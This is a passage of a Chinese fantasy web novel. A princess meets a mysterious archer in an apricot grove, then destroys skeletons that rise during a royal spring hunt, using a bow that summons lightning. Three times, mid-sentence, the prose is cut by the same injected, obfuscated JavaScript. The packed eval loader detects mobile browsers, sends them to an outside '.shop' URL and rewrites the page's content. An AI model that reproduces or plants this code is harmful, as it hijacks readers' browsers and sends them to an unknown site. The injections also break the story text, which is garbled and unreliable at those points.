于是赵陌也不甘示弱地甩一鞭子,朝赵昭发射出去。 马场上,两人骑着马绕着圈,开始你追我我追你。 数圈下来,中间竟然形成了一股巨大的风场,吹得那一个个箭靶转动越发厉害,最终生生全都转成了风车,简直要飞上天去! 赵昭一看根本没法射箭了,怒道:“我说你是不是死心眼呀!你一定要跟着我一起跑吗,从我前面包抄不就行了?!” “不!行!”赵陌一个字一个字喊道。 真是无语,骑射都不练了,非要和她较这个劲! 不过刚才跑这一趟凉风拂面,没有那么热了,倒确实让赵昭神清气爽,怒气消了大半。于是她猛地拉住缰绳,急停下来。 “好了好了,别闹了,还有春蒐呢。要的话,你拿去便是。”赵昭把手里的弓递去。 “……” 然而,赵陌跟着急停后,脸上嫌弃之色更甚。 他又“嘁”了一声,转头就走。“我不要。” 臭小孩,现在还要她求着他拿走才肯要吗?当真气人,气死人了,爱要不要! 赵昭终于体会到母妃的心情,学她对独孤皇后那样翻了一个大白眼,愤愤练骑射去了。 4. 思难舍4 毓文殿还在修,赵昭这七天来一直在国子监和宫内往返,专注听课习武。 也会偷偷留心,有没有什么燕家公子呀怀珏呀来监内上课。都能参加春蒐了,往国子监跑跑又怎样? 结果当然是风平浪静,没什么变化。 转眼,就到了出发去行宫之日。 猎场选在了京城附近的近郊沼泽,需要走御道出城。太阳初升之时,宫内钟声逐一响起。宫门大开,一片碎金流光从中倾泻而出。 金吾卫铁骑开道,护佑中间帝王御辇,清路禁行,大道两侧皆是金吾卫布岗,闲人不得近前观望。 旗队在队末、队中和队首分别高高悬起八面大旗。 队末先是四面旗帜,分别有朔漠鬼王、十尾凤凰、沧海福星、菩提蛊树四个纹样,分别对应苍灵大帝的亲征传说; 队中则是三面旗帜,正是“鸿蒙明珠”、“万象剑开”和“空镜自问”中明珠、巨剑和空镜的纹样,对应景乾帝梦境; 最后队首,仅有一面大旗,其上形象正是苍灵大帝。 与人间皇帝的穿着不同,大帝头戴三层莲花大冠,各色宝石点缀其上,中间镶嵌一颗莹白珍珠;錾银华袍加身,虹色飘带翩翩飘逸,脚踩冰玉荷叶,雍容华贵至极,风姿绝世至极。 苍灵大帝飞升为武神,故而左手一柄游龙长枪,右手一把立地长剑,当真天威凛然。 禁军方阵在前,后方在京的亲王皇嗣骑马跟随。 前两次赵昭还小,只能和母妃一同坐在轿辇中,远远听着铁盔撞击之声,只觉得好吵。 如今第一次亲身骑马参与其中,却是莫名兴奋,看什么都新奇。 她倒是想前跑跑后跑跑,这个问一下那个撩一下。可是周边全是随从禁军,里三层外三层围得水泄不通,她属实有贼心有贼胆,没做贼的机会,只得作罢。 大队浩浩荡荡行进了一个时辰,最终到达行宫。 来此的一众人要先放下行囊休整休整,后续还有祭祀一类仪式,繁琐无聊。 赵昭闲不下来。年幼时限制颇多,只能跟着跪半天祝祷,别的什么都不能干。 现在可不一样了,游山玩水逗猫逗狗,样样都有一个“练习骑射”做幌子。在行宫吃了个午膳后,赵昭当即就骑上马,往附近山林中跑去。 正午刚过,虫兽都昏昏欲睡,林子里没有什么声响,只有一片翠绿。 赵昭不走寻常路,专挑树荫大的偏僻小径走,兜兜转转竟然来到了半山腰。 远远眺望,还能俯瞰到一大片广场和林立的行宫宫殿。 赵昭看得出神。 到底刚过春分,丝丝凉风从杏花树中间穿来,吹得她束起的马尾飘动。 一片静谧之中,忽然,似乎听到了有什么东西划破簌簌落下的新叶花瓣,插在靶上的声音。 赵昭顿时好奇心起。 刚才上山时,她的确有看到一道新的马蹄痕迹。这个时间,会有谁在这里练习射箭? 她从马上下来,循着声音走去。 踏过掉在地上的新枝,跳过一条潺潺流水的小溪,拨开挡在眼前的杏花树幼苗。 入眼,看到了一个素白背影。 过山风还在吹,吹得那人青丝飞扬。即便两人仍有一段距离,可是这轻飘飘的几缕却像触碰到了赵昭的脸颊,让她莫名感觉痒痒的。 面前是片空地,有一座道观,旁边布有几张石桌。白衣少年稍微侧身,正拉弓对准置于空地上的一个箭靶,一动不动。 赵昭见他专注,就踮起脚尖走过,站在一旁的石桌边。 一看,变得有些恍惚。 刚才从后面看他背影时,便觉得体态轻盈,身段优雅,大约是一位世家公子。 此时见到他的侧脸,如同润玉一般,堪称精雕细琢。只是一眼,就觉得像是从山中幻化出来的仙人童子。 只是再转眼到他拿弓的手上,就没有看起来那般从容了。不知道是听到来人了紧张,还是不熟练,能看出手颤抖得有些厉害,似乎他拉弓就已经使出了全力。 “你练很久了吗?如果撑不住的话,就不要再用劲了。来聊聊天,怎么样?” 赵昭看到箭靶上整整齐齐的几个射在靶心的箭,再看看外环上同样数量的箭孔,疯狂深呼吸,强作一副关心模样,才没笑出声。 明明射术不好,还要把射歪的箭拔下来插在中间,自欺欺人是干什么! 闻言,白衣少年没有再坚持,将箭小心插回箭袋中,看她道:“好呀。” 他比赵昭高了半个头,声音却柔和文气。应该是个文官家的公子。 刚想到这里,两人对视的那一刻,赵昭不禁呼吸一滞。 方才看他侧颜,就觉得绝对是个美男,心里已有准备。现在正正对上他的正脸,发现简直谪仙降世,美得令人发指! 若一定要说美中不足之处,就是他的身形实在有些单薄。好好的一个公子哥,怎么不认真吃饭呢? “下面就有演武场,为什么不在那里练习?” 和他一同落座后,赵昭托腮问道。南芜春蒐期间,附近闲人都要被清场。能在这座山上的,家人肯定是在朝中有头有脸的人物。 “嗯……”他也不拘谨,学赵昭托起腮来。少顷,才粲然一笑:“人太多啦。” “你怕人?我觉得你现在很放松啊。” 赵昭觉得有趣,身体向前倾了些,又问:“那,你叫什么?是哪家的少爷呀?” 不知为什么,听到这句问话后,面前此人的笑意好像莫名减退了一分。 但他仍是笑盈盈的:“我是颜怀钰,不是哪家的少爷。”“颜怀钰”几个字,他咬得很重。 赵昭惊讶:“嗯?看你气度不凡,真的不是吗?” “不知道你有没有听过一个传说。” 颜怀钰煞有介事地看着她的眼睛。 “灵山上的杏花,吸收天地之灵气百年,就会幻化成人,成为一山仙人。他们大多没有见过人,人也大多没有见过他们,总以为是山中邪祟,叫来道士驱魔,杏花仙们也不敢贸然见人了。” “不过,若是有人硬要闯进他们的领地,他们会诱骗人,然后把人杀掉,以报族人惨死之仇。” “你是想说你是杏花仙人?怀钰仙人?”赵昭最终还是忍不住了,哈哈笑了几声。 这故事,她从各种各样的话本里见过不下千遍了。 她觉得眼前这人,生得的确貌美。可是呢,又总有种呆呆的傻气。 怎么会有人把故事里的神鬼代入到自己身上嘛!怕是话本看入脑了吧! 眼前颜怀钰却是立马收起笑容,正色道:“不是。我是说,你身后就有一只。” 赵昭鸡皮疙瘩炸了一身,瞬间拔出腰间佩剑,向身后砍去。 然而,砍断的只是一颗小树而已。 这下轮到颜怀钰笑了。他捂住嘴,想让自己看起来不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522304|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那么不雅:“姑娘,到底是谁话本看入脑了?是我?是你?” 赵昭在宫里被取笑惯了,并不羞耻,只是感到惊奇。这人神了,怎么还真能分毫不差地猜到她在想什么?! “你是怎么知道的?既然这样,你能不能猜到我是谁?” 赵昭出来时换了一身便衣,已经完全没了公主的样子。此刻看起来,顶多是官家的小姐。 谁料颜怀钰竟然毫不费力,端详了一阵她的容颜,就说道:“你是六公主,赵昭。” “天爷!真给你说中了!你到底怎么知道的?” 赵昭在这坐了一段时间,杏花花瓣就落了一身。她胡乱全部掸开,坐得离颜怀钰更近了些,目光烁烁看着他。 在记忆的每个角落里寻找了一遍,她确信从来没有见过这人。因此,应该不会有作弊的可能。 “呀……” 颜怀钰看她自己把花瓣以一种极其粗暴的方式全部掀在地上,抬起的手停在空中,最终只能无奈放下。 赵昭这才意识到,他或许是想帮自己清理掉那些花瓣。 这简直是……太经典的话本男女主偶遇情节了吧!没想到现实里还真的会险些发生! ……她为什么还是构成情节的一员啊?! “唉,没想到六殿下会这样想我。‘真是老套’……在想这个吧。”颜怀钰眉间戚戚,一副委屈。“我也只是想要帮你而已……” “你看,你这个时候又不灵了!我看出来了,你都是自己揣测,前两个问题是不知道哪点细节让你捡起来缝一块还猜对了。” 赵昭生怕伤到他,赶紧全部否认。 可是心底已经越发在怀疑——此人不会真是那什么杏花仙人吧?杏花仙人还会读心吗? 颜怀钰的神情却是复又变得狡黠,翩然起身:“揣测与否,六殿下自有判断。只是,我现在没法再和你聊天了。” 赵昭一句“为什么”还没问出口,山下就传来了“铛铛”钟声。 听敲击的次数,现在已经是申初。 颜怀钰奋力拔了好几下才把箭靶从土地中拔出来,把弓箭箭靶背在身上,转头道:“今日与六殿下在这杏花林里闲聊,真的很高兴。我要走了,也请六殿下早点回去,别让亲人担心。” “等等,颜公子,我们一起下去又怎——” 这颜怀钰竟是完全不再回头,骑着马就跑!跑得无影无踪! 赵昭刚要去追,这才想起自己刚刚越过小溪时嫌麻烦,就把马胡乱系在了一旁的树桩上。 这下是彻底追不上了。 ……不过,这又是什么“时辰已到,公主必须要赶回原住处,不能与王子共舞”的经典西洋话本情节? 赵昭这次又扮演了其中王子的角色! 奇怪,太奇怪了。回想与颜怀钰的这一次偶遇,明明处处都很诡异,却又诡异得十分和谐。 而且,他直到离开,都没有告诉赵昭到底是怎么猜到那么多事情的! 她越发觉得摸不着头脑,索性不想了,回去牵马。可是,心底又有许多疑问,勾着她想要知道这人到底怎么回事。 罢了罢了,反正后天春蒐就要开始了。 到时官家子弟中,文的武的好的赖的怎么样都要在所有人面前遛一圈,说不定就能弄清楚到底怎么回事了。 赵昭越想刚才发生的一切,越觉得轻快。不禁跑跳起来,被路上石子绊了一跤,连滚带爬滚下山去。 5. 思难舍5 第二天事情多,又是祭祀又是宴会的。赵昭仔细留意一圈,什么都没发现,于是在应付完后依然往那杏花山上跑。 最终,一无所获。没有再见到颜怀钰; 第三天还算清闲,赵昭稳住心神练习骑射,随后上午往杏花山上跑一趟。 她觉得自己莫名其妙,午后练完却又没忍住再跑一趟。 晚上闲得发慌,最后跑一趟,依旧没有见到颜怀钰。 疑问再加一条:到底是怎么回事?怎么突然出现,又突然不见了呢? 他难道真的就是“颜怀钰”,是山中仙人?赵昭打心底不信这种闲扯似的说辞,可是他又的确不见了,还猜到那么多事…… 第四天,南芜春蒐启动之日。一众兵马已经率先出去包围山林驱赶野兽。赵昭早早醒来,做好准备。 两个时辰后,景乾帝就要带着一众皇嗣大臣们前去猎场。在此之前,三品以上文武官员及其家眷需要各自上前,在御用箭靶射上一箭,一展风采。 这次,将由太子赵陌、三皇子赵煊、四公主赵曦和六公主赵昭陪景乾帝狩猎。 原本大皇子按理说也会来的。可是大皇子和景乾帝之间的关系这些年来越来越僵,再迟钝的人都看得出两人已经相看两厌,干脆不见。 所以在大半个月前两人又大吵一架后,大皇子直接打道回府,离开了京城。 赵昭刚要提裙跨出门槛,就一下被曦姐姐扣住:“昭儿,你怎么一天到晚往外跑?要去哪?” “这不是还有两个时辰吗,就想要出去转转!” 不知出于什么心态,赵昭没有把和颜怀钰的事情告诉曦姐姐。总觉得是自己在倒贴,有点尴尬,说不出口。 原本已经盘算好了该怎么从容应对曦姐姐,结果她竟然没有多问。只是说着“那你等等”,离开了。 回来时,拿着一个箭袋。 箭袋的花纹精细,还有一枚白玉玉佩系在上面,坠下金色穗子。看样子是为这次春蒐专门打造的。 “我们一个时辰后要去另外那边行宫,你从这里骑马只用几刻钟。弓在行宫才有,你拿上箭再走,这样一会你可以直接赶到那边和父皇一起狩猎,就不用再耽误时间拿箭了。” 赵昭睁大双眼:“真的?所以我想玩多久就能玩多久了?” 可她又忍不住道:“可是话又说回来,为什么现在就能拿箭,却不给弓?” 曦姐姐无奈:“弓是上上周才设计好的,造出来不得要时间?我们人多,比起箭,弓当然少得多,珍贵得多。” 原来如此。说起来,虽然放在自己手上不会坏,也难免会磕了碰了。这弓以后大约是要拿去上战场的,能不出差错就不出差错。 于是赵昭欣然拿过箭袋,告别了曦姐姐,一如既往朝山上跑去。 时值清晨,晨光轻柔,洒在山路上。 赵昭一方面觉得不必走那幽僻小径了,一方面内心还对土地上是否有马蹄印有所期待,走了康庄大道。 可惜,并没有看到那天一样的印记。 哈,那又怎样?就当是散散步!天气凉爽,喜欢吹吹凉风,又怎样?怎样! 百无聊赖。她一边骑在马上,一边把手高高举过头顶,手贱似的碰一下花擦一下叶,时不时还摸到个肉乎乎的大虫子,一惊一乍半天。 直到临近那处有道观的空地时,赵昭刚和一只大蜜蜂缠斗结束,在前方溪流的水声中,隐约听到了“呲”的一声。 沉了半边的眼皮猛地抬起。 她这回长记性了,不翻身下马,“驾”的一声夹夹马腹,毫不犹豫向前冲去。 像八弟造的那台冲进国子监撞烂八面墙的飞行器一样,赵昭被树枝树叶猛抽了几十个巴掌,一头撞进道观前。 颜怀钰被她吓了一跳,不由得往后退了几步,才强装从容道:“来……来啦?” 果然是他。终于让她逮到了! 只不过,再次重逢,颜怀钰却换上了一件玄色衣袍。 与上次随性披散着的头发也不同,他这次梳了发髻,戴了银冠。衣着端雅,顿时退却几分仙气,入世许多。 “我就猜到,你会来找我。”颜怀钰眉眼弯弯,别过头去,射出手上的一箭。 ……嗯,气势不错,但射在了三环上。还以为有什么长进呢,结果还是这样! “你这两天去哪了,为什么我找不到你?”赵昭看到了系在附近的,他的那匹黑马。为防止重蹈覆辙,她干脆骑在马上不下来。 颜怀钰不气馁,又拿起一支箭,拉弓,瞄准。他目视前方,答道:“‘颜怀钰’是仙人。与你告别,就是要归隐山林,再也不见的意思。” “可我们不还是见面了吗?你还挑在这里射箭,还说猜到我会来找你,前后是否有些矛盾?” 赵昭又不自觉看他的弓:“等等,弓弦不是这么拉的,手也不要握得那么用力。你很紧张?” 颜怀钰的身形一滞,却还是听着赵昭的指导,射出了一箭。 这次射在了四环上。 “不错,不错,有进步。还算有慧根。”赵昭深知鼓励式教育的重要性,拍拍手夸赞道。 “多谢昭先生啦。”颜怀钰终于转身正对赵昭,躬身作揖。 “六殿下应该也猜到了怀钰为什么会和你永别,猜到了我是谁吧?” 赵昭歪头:“哦?此话从何说起?不懂你在说什么。” 颜怀钰刚要回话,旁边突然匆匆跑来一名侍从,喘得上气不接下气:“公子,终于找到您了!老爷让您快下去,该到您……啊,抱歉,是我打扰了?” “不打扰,没事的。快去忙吧,有什么话之后再说。”赵昭扬扬手。 “等等,等等,公子,您这弓要不给我?下面有新弓……” “不用。” 颜怀钰骑上马,从赵昭身边擦过,将手上的槐木弓交给她。 只听他轻声对赵昭说:“不知道可否交给六殿下保管?我们下次见时,还给我可好?” 赵昭掂了掂。重量相当轻,怪不得拿不稳。而且,被颜怀钰握过的地方也温温的,并不暖和。 看来他身体真的挺弱的。 “可以是可以。只是不知道,下次见是什么时候?” “会很快的。祝你满载而归。还有,你箭袋上那枚玉佩,很是稀奇。” 他又走了。 不过,赵昭留意到了他最后的那句话,把箭袋从身上解了下来。 最初接过来时没发现,现在细看,她才发现这枚玉佩所用的玉并不寻常。 阳光正好照到手上,能看到玉里面隐约爬了一些细密的青蓝色纹路,正在淡淡发光。 这真是稀奇,从来没有见过。不过,也有可能是玉中杂质,并未剔除而已。 话又说回来,赵昭此刻,竟然也没有那么急切了。 见到了人,拿到了弓,还确认了一些事。赵昭觉得得到了许多答案,非常满足,决定原路返回。 她勒起缰绳,刚转了个圈,就看到迎面跑来一个人。 那人是名清丽的中年女子,边扶自己头上的乌纱帽,边闷头往前跑。红袍袍边都沾上了些泥土水渍,可还是视若无睹,只是狂奔。 ……这种地方,怎么会出现内阁大臣? 她抬头见到赵昭,竟然是不顾惊讶,喊道:“六殿下,得罪了!不知可否借马一用,要紧要紧,有急事!” “是荆大人?借当然可以借,不知道什么时候还?” 赵昭看她真的很急,三两下就下来,把位置让给她。 六部尚书侍郎这种级别的官员,赵昭还是有见过几次面的。面前的这女子,就是工部尚书,名为荆文曲。 虽然没有怎么打过交道,但是偶尔和八弟赵叙聊聊天,再偶尔听听别的皇子给她讲的八卦,就能知道她性格温厚好说话,从不为难人,就是比较楞和较真,还有点……神叨。 赵昭听附近也没有什么异响,想来荆文曲应该也不是干了什么亏心事被追杀。在这里跑,身边还没有侍从,多半是为私事。 荆文曲一套动作行云流水,骑了就跑,远远地留下回音:“很快~~~大约一周左右~~~?信哉~~~” ……这算很快吗?! 赵昭当即就追了上去。 那可是一周,要干什么才能在一周后完事?总得看看她是要去哪吧! 好在荆文曲这个工部尚书想来也是天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522305|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 天坐班的,跑得东倒西歪,速度不算快,还不如直接腿着走。 赵昭努力提速跟着,就能勉强追上。 看荆文曲的方向,应该是要下山。越到山下,林中树木就越密集。能看出来荆文曲近乎崩溃,绝望地用缰绳抽马。 可是,当前的速度似乎已经是这匹马的极限了。 赵昭一口气也已经跑得有些喘不上来了。就算再能上蹿下跳,终归体力是有上限的。树这么多,也要费精力绕弯,实在累得够呛。 累得她感觉身体都要倒了,脑浆七上八下的要被晃匀。 停下来感受过后,她才猛地发现,这不是身体的错觉。 地面是真的在震动!!! “天要亡我!哈哈哈!跟你们拼了!”前面的荆文曲突然大叫起来,跳下马,拔出佩剑。 地震越来越强烈,震得赵昭彻底站不稳,摔在一边的树上。拼尽全力挣扎,才重新站了起来。 突然,脚边的地面变得倾斜。 不过与其说是倾斜,其实更像是……隆起了一个又一个大大小小的土堆。 她直觉不对,向身后奔去。就在她才离开刚才那棵树旁边,就听到身后传来“嘶啦”一声。 后背好凉。刚这样想,一阵撕裂般的疼痛迅速蔓延开来。 好痛!好痛!!! 她稳了稳心神,才拼命忍住了尖叫,回头看去。 十几只大大小小的,破土而出的白骨,正冒着黑色浓烟,疯了一般四处抓挠,好像在寻找一个可以抓住的东西,让躯干能从地里钻出来。 小的有赵昭一个人这么大,大的堪比一座小山,四处捶打,连根拔起许多树,有些还被锤烂。 它们散发着一阵又一阵腐肉的气味,熏得赵昭喉间泛酸,不由得干呕几声。 脚边还有数不尽的土堆,正在迅速隆起。地面好像整个要翻过去,震得她要把五脏六腑全部吐出去。 附近山上的土石再也难以承受这场地震,从山上滚落下来,铺向白骨。可它们仿佛没有感觉到,还在不停拍打。 赵昭脑内只有一片嗡鸣,已经听不到任何声音了。 她拔出佩剑,想要砍断那些追来的白骨。谁料到白骨轻轻一抓,就把佩剑捏碎了。 ……到底是什么情况,这还是现实世界吗?怎么会有这种东西存在啊?! 赵昭又往后一跳,眼睛差点被戳瞎,左腿又差点被抽断。躲闪中,在一片沙石土雾里,依然能看到荆文曲也在用佩剑与那些白骨缠斗。 她叫得一声比一声惨,盖过了地动的声音。 除了“啊!”“呀!”这种常规的,还有“竖子勿要砍我头!这当真会要命的!等等,不要扔我右胳膊,日后找不到会拼不上的”“我不说话了,非礼勿动手,别拔我舌头”一类。 八卦没说错,确实是挺神叨。 赵昭腹诽之际,面前突然站起一只庞然大物,投射一整片阴影下来。 土中的一只白骨,找到了最密集的一片树,抓握后,全身都从土里破出。 赵昭已然忘了该怎么尖叫。只是仰头看着它。 而它,也在低头,看着赵昭。 紧接着,它抬起脚,压了下来。 赵昭本想再拿起佩剑,看到那孤零零一把剑柄,才想起已经断了。 武器!武器!还有什么武器?! 慌乱坐下时,身后突然有什么硬硬的东西直接捅了一下她的脑袋。伸手一摸,是曦姐姐给的箭袋。 还有颜怀钰的槐木弓。 赵昭从未有过如此激烈的,想要对某人大喊“救星~福星~”的冲动。几乎是一把拽起箭袋中的箭,对准森然白骨,射了出去。 原本赵昭只是想临死挣扎一下的。 然而,在一道轰隆巨响、头上下起了雪后,她彻底愣住了。 接过一看,才发现并不是雪。 是白骨的粉末。 天空不知道什么时候变成了黑色的。有一朵被闪电环绕的乌云停在白骨的正上方,正在追着它劈。 先是头,再是肩膀,然后是大腿…… 白骨本来想拔腿就跑,最后生生被劈得轰然趴倒在地,四散成纷扬雪花。 6. 思难舍6 哪来的云? 哪来的雷?? 四周的白骨似乎都被这突如其来的闪电威慑,赵昭身边,胆小的已经在往地里爬了。 ——然后重新去到荆文曲身边,再度围殴她。 这边动静这么大,荆文曲早已注意到了赵昭。她的佩剑已经折断,此时只得拎着一条被拔下来的胳膊,东奔西闯突破包围圈,向她喊道:“六殿下!” 赵昭:“我在?” “您用了何法,召来苍灵大帝?!不,当务之急,请您助我渡劫……!” 虽然不知道具体怎么回事,可是仔细想想,貌似……这雷电,是在她射出那一箭后,才出现的。 现在乌云静静待在原地,像失去了目标,不再行动。 赵昭于是重新举起弓箭,对准荆文曲身后那一大坨铺天盖地张牙舞爪的白骨骨海,拉弓蓄力射出一箭。 一道刺目白鞭重新从上空劈了下来。它太亮太刺眼,周边的一切好像全都失去了色彩,变成一片漆黑。赵昭不由得别过头,闭上眼。 气流和碎末扑面而来,赵昭的头发披风全被吹得向后扬去。大约是因为离得远,她依旧稳稳站在原地。 再一睁眼,眼前竟然变得空无一物。 她心中顿时升起一股不好的预感,迈出腿就要跑出去,结果脚下一软。 “唔……唔唔……” 赵昭这才意识到踩了个头。 荆文曲的身上还在不停泛起一层层电流,红袍也被劈成了焦黑破布,整个人陷在人形大坑里,仅剩的左手颤颤巍巍举起。 “哎呀,对不住!可是荆大人,你什么时候给自己挖了个坟?要不要我给你盖实?”赵昭赶紧挪开脚。 “不是……我,被锤进来的……”荆文曲一手撑地,从坑里挣扎爬了起来。 雷劈过之后,虽然还有隐隐震感,可是脚下的倒是减轻了不少。 仔细感受过后,荆文曲就一拍脑袋,指着北边道:“快快,快回去!震动是行宫传来的,那边还有许多人,快去救!” 赵昭也瞬间反应过来,手指放在唇间,吹起口哨。 宫中良驹探头,朝她跑了过来。 “竟然还活着!”荆文曲啧啧称奇,拍拍他的头,“好马好马。” “快,你也上来,不要耽误时间了。曦姐姐和母妃还在行宫!”赵昭伸手,拉荆文曲坐稳后,二话不说朝行宫赶去。 一路上,身旁土包还在不停鼓起,有些冒得快的甚至能抓两下赵昭。还好她躲得快,否则恐怕两人一马就要双双殒命。 她在前面皱紧眉头喊道:“荆大人,到底怎么回事?你都知道什么?驾!” 荆文曲坐在赵昭身后,抱住她的腰感觉太冒犯,不抱住又要直接摔下去,恐怕要直接住进地里新家,纠结中只能痛呼:“是劫,地劫!再准确一点,是我的地劫!” “什么‘地劫’?天要亡你,地也不待见你,你还是个活在世上的人吗?” 荆文曲苦笑:“您还真别说。” 赵昭没懂:“啊?” 荆文曲羞涩道:“我确实死了,目前算是个厉鬼吧。论资历,可能比陛下还要老一点。毕竟,我也是三朝前的遗老了,改朝换代的朝,哈哈。” “……” 原来不是她神叨,本来就不是人。 怪不得被骨头追了一路。 那些白骨都是抓她回老家待着的同族人吧!面对荆文曲这个偷渡逃犯,它们简直算是真正的奉阴公、守阴法之鬼吧! 当前情况紧急,赵昭没法停下来。 她只能严肃思考,该怎么把这个恐怖分子从自己的身后踹下去。 最终,良心占了上风。接受了这个事实,其实还蛮好玩。赵昭问:“其他人知道你是厉鬼吗?” 荆文曲见六公主竟然没有把自己请下去,甚是感激,赶紧应道:“不知,不知。此事天知地知,你知我知。” 赵昭疑惑:“你竟然没有和别人说过?别人也没看出来?” 荆文曲答:“呃……我自己当然不会说。另外,每一朝我都会改头换面换身份,认不出我来实属正常。若是有人看出来了此事,大约会禀告陛下的,我也没法在朝中做这个工部尚书了。” “那你为什么要告诉我?” 在暴露身份这方面,赵昭也没什么资格说荆文曲。毕竟颜怀钰猜出她是六公主后,她也是毫不犹豫就承认了。 不过,她倒是想听听荆文曲的理由。 “我看六殿下您,能摆平此次地劫,不像平庸之辈。” 荆文曲丝毫不见心虚:“刚才那几道天雷……当真让我熟悉不过。苍灵大帝显灵落下神罚,那阵仗我死多少次都忘不掉。” “凭直觉来说,我觉得就算我不说,您也迟早会从别的什么地方,比如……神谕?得知一些事的。欺骗隐瞒,并不明智。” 她说得极其坚定,赵昭心里却越来越没底。 怎么突然这样信任她?!回想起往日自己的席间榻间事迹,怎么想也没法和天命之子联系到一起吧。 要让天命眷顾,怎么说也得等她先摆出态度来吧?虽说她是有这个心,可是还没做出来实绩不是吗。 “我觉得……也可能是巧合吧。我们还是先赶路吧。”赵昭讪讪答道。 - 文武百官携家眷上前试弓射箭的礼仪,叫做“校箭礼”。 典礼上,官员们按序在广场上站好,等待叫到自己上前表现,也有在暗中观察其他人的行动。 谁知,正当鸣赞官喊礼时,大地突然震颤起来。 这不是一般的地震。正当众人轰动,查看怎么回事之时,一个接一个的白骨破土而出,茫然伫立。 随后,开始到处抓人。 邪祟固然恐怖,然而大内禁军不是草包饭桶,独孤氏一众人更是有独孤将军这名曾屡次立下赫赫战功的大将。他们迅速站好阵,击退这些白骨。 本以为无恙,谁知被砍碎过后,关节又重新拼接了起来! 朝中官员和后宫众人哪能见过这场面,太吓人了,纷纷惊叫乱跑起来,顾不得什么礼仪了,保命要紧! 一时之间,广场上乱成一团,惊叫声此起彼伏。众人你推我我踩你,向行宫潮涌散去。 “母后!快躲开!” 赵陌正在奋力拼杀,转头看到独孤皇后身旁一只大手向她抓去,立刻扑到她旁边,砍退了这具邪骨。 “陌儿,别管我了,快救你父皇,护驾呀!去,去找你外公!”独孤皇后把赵陌推向景乾帝那边,让宫人赶紧抬着轿子走,不耽误时间。 赵陌不得已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17522306|203347||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,最后再看一眼独孤皇后的轿子,咬咬牙往景乾帝那里跑。 母后在此之前无数次告诫他,要在春蒐上好好表现,别让父皇觉得他这个太子无用,让外公独孤将军觉得他平庸。 这场变故来得突然,但无疑是立功的好机会! “……太子殿下。” 看到跑来的赵陌,独孤将军的眉眼间依旧是副冷淡的模样,向他郑重行礼,指向西南方的枯骨群。 “西南方邪祟最多,劳殿下领兵镇护。臣率主力护陛下北撤,请保后方无忧。” 独孤将军经验丰富,资历深厚,当下听他的是最好的办法。 赵陌心知自己年幼,大约是比不过外公的,贴在父皇身边也只是徒增麻烦。于是拱手领命,带着一队兵就往指定的位置跑。 只是,这群士兵好像把他当成了保护对象。一众人把赵陌围得里三层外三层,让他剑拔出来却处处受阻。 终于忍无可忍,大喝一声:“都滚开!让我来杀!” 话音刚落,头上悬崖突然传来一道熟悉女声。 “陌儿,快带他们走,别站在这里碍事!” - 赵昭的弓对着底下半天,一群人硬是蚂蚁一般,不光多,还跑来跑去的,让她难以松开弓弦。 万一劈到人,伤及无辜怎么办? 抬头看到是赵昭,赵陌脸上怒意更盛:“你添什么乱?都这种时候了,没在跟你玩!” “哪来这么大火气,谁告诉你我在玩?光这样瞎砍就有用吗?起码我不会像你一样做无用功!”赵昭一碰上这个小炮仗,就忍不住和他对呛起来。 赵陌气得差点要把剑投掷过来:“你说什么?!” 荆文曲赶紧在一边劝:“两位殿下,两位殿下,冷静冷静!太子殿下,您且听六殿下一言吧。她刚才真的杀了很多的!” “别管他,我都懒得搭理。” 赵昭刚才三支箭搭在弓上,想要顺便帮忙把赵陌这边解决了。本来也能理解他对自己大呼小叫的,可是现在这个态度,只怕不会听她的话!气头上,把瞄准的角度往上扬了一些。 最终,利落放箭。 箭风凛冽,分别落在赵陌身后的大片邪祟上。 不出所料,三排闪电齐刷刷劈下,一片白骨顿时消失得没了踪迹。 赵陌目瞪口呆。 赵昭得意洋洋抱胸:“怎么样,给不给你六姐让地儿?” 纵然千般不肯万般不愿,终究事实摆在眼前。赵陌愤懑“哼”一声,招手喊道:“往后撤!” 终于清理完脚下这片喽啰,赵昭纵身一跃,跳到地面上化力一滚,就急忙起身向前跑去。 随便牵来匹马,就在广场上到处驰骋杀敌。眼看附近都处理得差不多了,最后就是景乾帝御驾前的那批。 赵昭边操控着马加速,边稳住手,闭起左眼,看向空中一群庞然大物。 弓弦乍响,最后三支箭矢离弦而出,疾如流星。 齐天巨物轰然倾塌,贯耳惊雷过后,天地骤然陷入一片死寂。 “结束了?”荆文曲捂着耳朵蜷在一边,抬头道。 赵昭没多说,只是“嗯”了一声。 一场前无古人后也未必有来者,集结离谱、热血、癫狂和混乱几词的地劫,就此结束了。 7. 思难舍7 赵昭有些无所适从。 全场所有人的目光,都聚集在了她的身上。 